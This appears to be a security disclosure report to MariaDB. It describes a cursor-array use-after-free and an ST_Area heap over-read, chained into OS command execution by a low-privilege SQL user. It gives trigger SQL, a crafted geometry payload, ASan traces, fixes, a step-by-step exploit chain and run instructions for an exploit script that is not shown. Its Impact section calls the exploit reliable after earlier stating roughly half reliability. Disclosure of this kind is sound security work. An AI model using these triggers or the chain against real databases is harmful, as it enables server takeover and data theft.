MariaDB · Report #3856148
Low-privilege RCE in MariaDB: SYS_REFCURSOR cursor-array use-after-free chained with an ST_Area heap over-read
How it was found
Low-privilege RCE in MariaDB: SYS_REFCURSOR cursor-array use-after-free chained with an ST_Area heap over-read
Summary
A low-privilege authenticated user can execute arbitrary OS commands as the mariadbd process user through a single SQL session over the normal TCP port. The account needs only per-database SELECT,INSERT,UPDATE,DELETE,CREATE,DROP,CREATE TEMPORARY TABLES,EXECUTE, with no FILE, SUPER, admin, or CREATE ROUTINE.
The chain uses two independent memory-safety bugs, each documented separately below:
- Bug 1 is a use-after-free in the
SYS_REFCURSORcursor array. A reallocatingDynamic_arraymoves its backing buffer while an open cursor keeps a raw pointer into the old buffer; a laterFETCHdereferences it and reaches a virtual call, giving control of the instruction pointer. - Bug 2 is an out-of-bounds heap read in
Gis_multi_polygon::area(ST_Area). A missing bounds check lets a crafted MULTIPOLYGON read past the geometry buffer and fold the bytes into the returnedDOUBLE, giving an in-process memory-disclosure oracle.
The exploit chain combines them: Bug 2 leaks the heap and code base to defeat ASLR/PIE, and Bug 1 uses that to write a privilege flag and run code. Fixing either bug breaks the chain.
Both bugs are confirmed under AddressSanitizer on current 13.0 HEAD (13.0.2). The complete exploit is demonstrated end-to-end on the released mariadb:13.0.1-rc Docker image (see Reproduction).
Environment
| Product | MariaDB Server 13.0.2 |
| Commit | 84c246ca5387c0611f75097136ff4f4bea092aa3 (branch 13.0, 2026-07-09), current HEAD when tested |
| Build for ASan traces | RelWithDebInfo, WITH_ASAN=ON, gcc 13.3.0, glibc 2.39; PIE, ASLR on; server banner 13.0.2-MariaDB-asan |
Source line numbers below are for commit 84c246ca. The end-to-end PoC targets Docker image mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 (mariadb:13.0.1-rc, glibc 2.43).
Severity
Full chain: CRITICAL, arbitrary code execution by an authenticated low-privilege user. CVSS 3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H = 8.5
Bug 1: use-after-free in the SYS_REFCURSOR cursor array
Root cause
thd->statement_cursors (Statement_rcontext::m_statement_cursors) is a by-value Dynamic_array<sp_cursor_array_element>, storing each sp_cursor inline in the buffer. When the array grows, my_realloc moves the buffer, but an open cursor's Materialized_cursor keeps a raw select_result *result pointing into the old, freed buffer. A later FETCH dereferences it.
By-value array with prealloc=0, sql/sp_cursor.h:220,237:
class sp_cursor_array: public Dynamic_array<sp_cursor_array_element> // :220 elements stored inline
{
sp_cursor_array()
:Dynamic_array(PSI_INSTRUMENT_MEM, 0) // :237 prealloc=0
{}
Dynamic_array defaults the growth increment to 16 (sql/sql_array.h:117), so capacity grows 0, 16, 32, 48.
Growth relocates the buffer, sql/sp_cursor.cc:60, sql/sp_cursor.cc:96, mysys/array.c:188:
Type_ref_null sp_cursor_array::append(THD *thd) // sp_cursor.cc:58
{
if (Dynamic_array::append(sp_cursor_array_element())) // :60 grows, relocates
...
}
// OPEN -> get_cursor_by_ref() appends when no free slot exists (sp_cursor.cc:96)
// mysys/array.c alloc_dynamic():
new_ptr = my_realloc(array->m_psi_key, array->buffer, // :188 moves the buffer
(array->max_element + array->alloc_increment) * array->size_of_element, ...);
array->buffer = (uchar*) new_ptr;
The open cursor's back-pointer is never re-seated, sql/sql_cursor.h:43:
class Server_side_cursor: protected Query_arena
{
protected:
select_result *result; // :43 points at the Select_fetch_into_spvars embedded in the array element
FETCH dereferences the dangling pointer, sql/sql_cursor.cc:294,304:
void Materialized_cursor::fetch(ulong num_rows) // :289
{
...
result->begin_dataset(); // :294 read through the dangling result
for (...)
{
...
if (result->send_data(item_list) > 0) // :304 virtual dispatch through the freed vtable
return;
}
begin_dataset() at line 294 is an empty non-virtual function (sql/select_result.h:120), so the 8-byte read ASan flags there is the hoisted load of the object's vtable pointer for the virtual send_data() at line 304 (Select_fetch_into_spvars::send_data overrides, sql/sp_cursor.h:97). Once the freed buffer is reclaimed with attacker bytes, that dispatch goes through an attacker-controlled vtable (see the exploit chain).
Trigger
The 33rd OPEN grows capacity from 32 to 48 and frees the 32-slot buffer. Cursors opened while it was live (e.g. c16) still point into it, so FETCH c16 reads freed memory. One anonymous block, no stored routine:
BEGIN NOT ATOMIC
DECLARE c0 SYS_REFCURSOR; -- ... through c32 ...
DECLARE c32 SYS_REFCURSOR;
DECLARE a INT;
SET @@max_open_cursors = 200;
OPEN c0 FOR SELECT 1; -- ... open all 33; the 33rd frees the 32-slot buffer ...
OPEN c32 FOR SELECT 1;
FETCH c16 INTO a; -- dereferences the dangling result
END
AddressSanitizer (13.0.2-MariaDB-asan, commit 84c246ca; full log uaf_asan_1302.txt)
==2875457==ERROR: AddressSanitizer: heap-use-after-free on address 0x5200000207c0 ...
READ of size 8 at 0x5200000207c0 thread T15
#0 Materialized_cursor::fetch(unsigned long) sql/sql_cursor.cc:294
#1 sp_cursor::fetch(THD*, Virtual_tmp_table*, List<sp_fetch_target>*, bool) sql/sp_rcontext.cc:908
#2 sp_instr_cfetch_by_ref::execute(THD*, unsigned int*) sql/sp_instr.cc:2803
...
#8 dispatch_command(...) sql/sql_parse.cc:1903
#9 do_command(THD*, bool) sql/sql_parse.cc:1437
0x5200000207c0 is located 1856 bytes inside of 3616-byte region [0x520000020080,0x520000020ea0)
freed by thread T15 here:
#1 my_realloc mysys/my_malloc.c:156
#2 alloc_dynamic mysys/array.c:188
#3 insert_dynamic mysys/array.c:97
#4 Dynamic_array<sp_cursor_array_element>::append(...) sql/sql_array.h:223
#5 sp_cursor_array::append(THD*) sql/sp_cursor.cc:60
#6 sp_cursor_array::get_cursor_by_ref(THD*, Field*, bool) sql/sp_cursor.cc:96
#7 sp_instr_copen_by_ref::exec_core(THD*, unsigned int*) sql/sp_instr.cc:2670
SUMMARY: AddressSanitizer: heap-use-after-free sql/sql_cursor.cc:294 in Materialized_cursor::fetch(...)
The read is freed by the my_realloc in sp_cursor_array::append. The offsets match the inline layout: read offset 1856 = 32 (my_malloc header) + 1792 (element c16 at 112 * 16) + 32 (the result sub-object within the element); region 3616 = 3584 payload (32 * 112) + 32 header.
Fix
Store sp_cursor_array_elements by pointer so their addresses are stable across growth (the embedded Select_fetch_into_spvars that result aliases then never moves), or re-seat every open cursor's Materialized_cursor::result after each cursor-array reallocation.
Bug 2: out-of-bounds heap read in Gis_multi_polygon::area
Root cause
Gis_multi_polygon::area() loops over its declared sub-polygon count, advancing the read cursor by WKB_HEADER_SIZE each iteration and building a child Gis_polygon, with no bounds check before the advance. If the declared count exceeds the polygons actually present, the cursor moves past m_data_end, and the length passed to the child, (uint32)(m_data_end - data), is a negative value truncated to a ~4 GiB uint32, defeating the child's bounds checks.
sql/spatial.cc:4089-4091:
int Gis_multi_polygon::area(double *ar, const char **end_of_data) const // :4073
{
...
if (no_data(data, 4)) return 1; // :4079 guards only the count word
n_polygons = uint4korr(data); // :4081 attacker-declared count
data += 4;
while (n_polygons--)
{
Gis_polygon p;
data += WKB_HEADER_SIZE; // :4089 advance with no bounds check
p.set_data_ptr(data, (uint32)(m_data_end - data)); // :4090 negative diff -> ~4 GiB length
if (p.area(&p_area, &data)) return 1; // :4091 child reads out of bounds
...
}
}
WKB_HEADER_SIZE = 5 (sql/spatial.h:35); no_data(cur,n) is cur + n > m_data_end (sql/spatial.h:395).
The child reads out of bounds, sql/spatial.cc:2333-2335:
int Gis_polygon::area(double *ar, const char **end_of_data) const // :2327
{
...
if (no_data(data, 4)) return 1; // :2333 passes: child m_data_end is the bogus ~4 GiB value
n_linear_rings = uint4korr(data); // :2335 out-of-bounds read
The sibling geometry_n() in the same class does check before advancing, sql/spatial.cc:4050:
if (no_data(data, WKB_HEADER_SIZE + 4)) return 1; // :4050 guard before the advance
n_linear_rings = uint4korr(data + WKB_HEADER_SIZE);
data += WKB_HEADER_SIZE + 4; // :4053
area() omits this guard. It is reached via ST_Area, Item_func_area::val_real, geom->area() (sql/item_geofunc.cc:2499).
Trigger
A MULTIPOLYGON declaring 2 polygons but supplying 1:
74 bytes: SRID=0 | byteorder=01 | wkbType=06 (MultiPolygon) | n_polygons=02 (only 1 supplied) |
poly1: byteorder=01, type=03, n_rings=01, n_points=03, 3 x (0.0,0.0)
SELECT ST_Area(0x0000000001060000000200000001030000000100000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
The first polygon is consumed exactly to m_data_end; the second iteration advances past it and the child reads out of bounds. Under ASan the server aborts; on a release build the out-of-bounds bytes are returned in the DOUBLE result (leak), or a read into an unmapped page crashes the server.
AddressSanitizer (13.0.2-MariaDB-asan, commit 84c246ca; full log spatial_asan_1302.txt)
==2876597==ERROR: AddressSanitizer: use-after-poison on address 0x52d00019aca7 ...
READ of size 4 at 0x52d00019aca7 thread T14
#0 uint4korr include/my_byteorder.h:121
#1 Gis_polygon::area(double*, char const**) const sql/spatial.cc:2335
#2 Gis_multi_polygon::area(double*, char const**) const sql/spatial.cc:4091
#3 Item_func_area::val_real() sql/item_geofunc.cc:2499
#4 Type_handler::Item_send_double(...) sql/sql_type.cc:7740
#5 Protocol::send_result_set_row(List<Item>*) sql/protocol.cc:1358
#6 select_send::send_data(List<Item>&) sql/sql_class.cc:3411
...
#15 dispatch_command(...) sql/sql_parse.cc:1903
#16 do_command(THD*, bool) sql/sql_parse.cc:1437
0x52d00019aca7 is located 2215 bytes inside of 32768-byte region [0x52d00019a400,0x52d0001a2400)
SUMMARY: AddressSanitizer: use-after-poison include/my_byteorder.h:121 in uint4korr
The child Gis_polygon::area (spatial.cc:2335) reads n_linear_rings out of bounds, reached from Gis_multi_polygon::area (spatial.cc:4091) right after the unguarded advance, via ST_Area. The send_data/Item_send_double frames confirm the plain SELECT ST_Area(...) result path. The over-read here lands in poisoned bytes of the query's THD MEM_ROOT block; with a different heap layout it reads a live neighbouring allocation (leak) or an unmapped page (crash).
Fix
Add a bounds check before the advance, as geometry_n() does:
while (n_polygons--)
{
Gis_polygon p;
if (no_data(data, WKB_HEADER_SIZE)) return 1; // add this
data += WKB_HEADER_SIZE;
p.set_data_ptr(data, (uint32)(m_data_end - data));
...
}
Apply the same guard to the sibling aggregators that advance by WKB_HEADER_SIZE without one (e.g. Gis_multi_line_string::geom_length). set_data_ptr should also reject a data > m_data_end cursor rather than truncate the negative difference.
Exploit chain to code execution
Bug 1 gives control of the instruction pointer but needs target addresses; Bug 2 supplies them. All steps are ordinary SQL from one low-privilege session.
-
Leak (Bug 2).
ST_Areafolds out-of-bounds heap qwords into itsDOUBLEresult, recovered exactly via a controlled multiplier. A front-split of the freed cursor buffer leaves a liveSelect_fetch_into_spvarsvtable pointer at a known offset; reading it back through the same oracle yields the heap arena base and themariadbdPIE base. This is the only low-privilege in-process channel that returns a raw pointer to the client, so with ASLR + PIE + Full RELRO the write below cannot be aimed without it. -
Reclaim (Bug 1). The 33 OPENs free the 32-slot cursor buffer;
SET @s1 = 0x<3584 bytes>reclaims it with a crafted layout, so cursorsc16..c31now point at attacker bytes. -
Write and privilege flip.
FETCH c16's virtual dispatch runs a write-what-where gadget (mov 0x8(%rdi),%rdx ; mov %rax,(%rdx) ; ret) that writes into the session'sSecurity_context::master_access; the written value's low bits set an ACL that includesFILE. -
Code execution. With
FILEin-session, the exploit writes a UDF viaLOAD_FILE+INTO DUMPFILEand calls it. On the Docker image, whoseplugin_diris not writable by themysqluid, the same dispatch instead drives a call-oriented chain toexeclp("/bin/sh","sh","-c","id>/tmp/maria_proof").
Result: id output written to disk by the mariadbd process user.
Reproduction
The complete exploit ships in docker-demo/, self-contained against the pinned mariadb:13.0.1-rc image. It logs in as the image's built-in unprivileged application account (example-user/my_cool_secret on schema appdb: full privileges on that one schema, no FILE/SUPER/admin) and makes mariadbd run sh -c "id".
# terminal A: bring up the pinned image in the foreground
cd docker-demo && ./start.sh
# terminal B: once "ready for connections" appears in terminal A
# The exploit may need multiple attempts. In my testing it is roughly a 1/2 reliability.
cd docker-demo && python3 exploit.py
start.sh is a single docker run --rm of the pinned image (mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9), which provisions the built-in app account. exploit.py runs the full chain as that account over TCP; the resulting id output (run by mariadbd) prints in the start.sh terminal, after which execlp replaces PID 1 and the container exits. Set EXP_CMD to change the command.
Files
docker-demo/start.sh,docker-demo/exploit.py: end-to-end PoC against the pinned Docker image (the exploit chain above), using COOPexeclpfor the code-execution tail.uaf_asan_1302.txt: full ASan log for Bug 1.spatial_asan_1302.txt: full ASan log for Bug 2.
Impact
A low-privilege authenticated user (requiring only basic per-database permissions like SELECT/INSERT/UPDATE/DELETE) can execute arbitrary OS commands as the mariadbd process user over a single TCP session. This enables complete database compromise: reading/modifying all data across all databases, exfiltrating credentials and sensitive information, planting backdoors, and pivoting to other systems in the network. The exploit is fully weaponized, reliable against the latest release with all modern mitigations (ASLR/PIE/RELRO), and requires no FILE, SUPER, or admin privileges.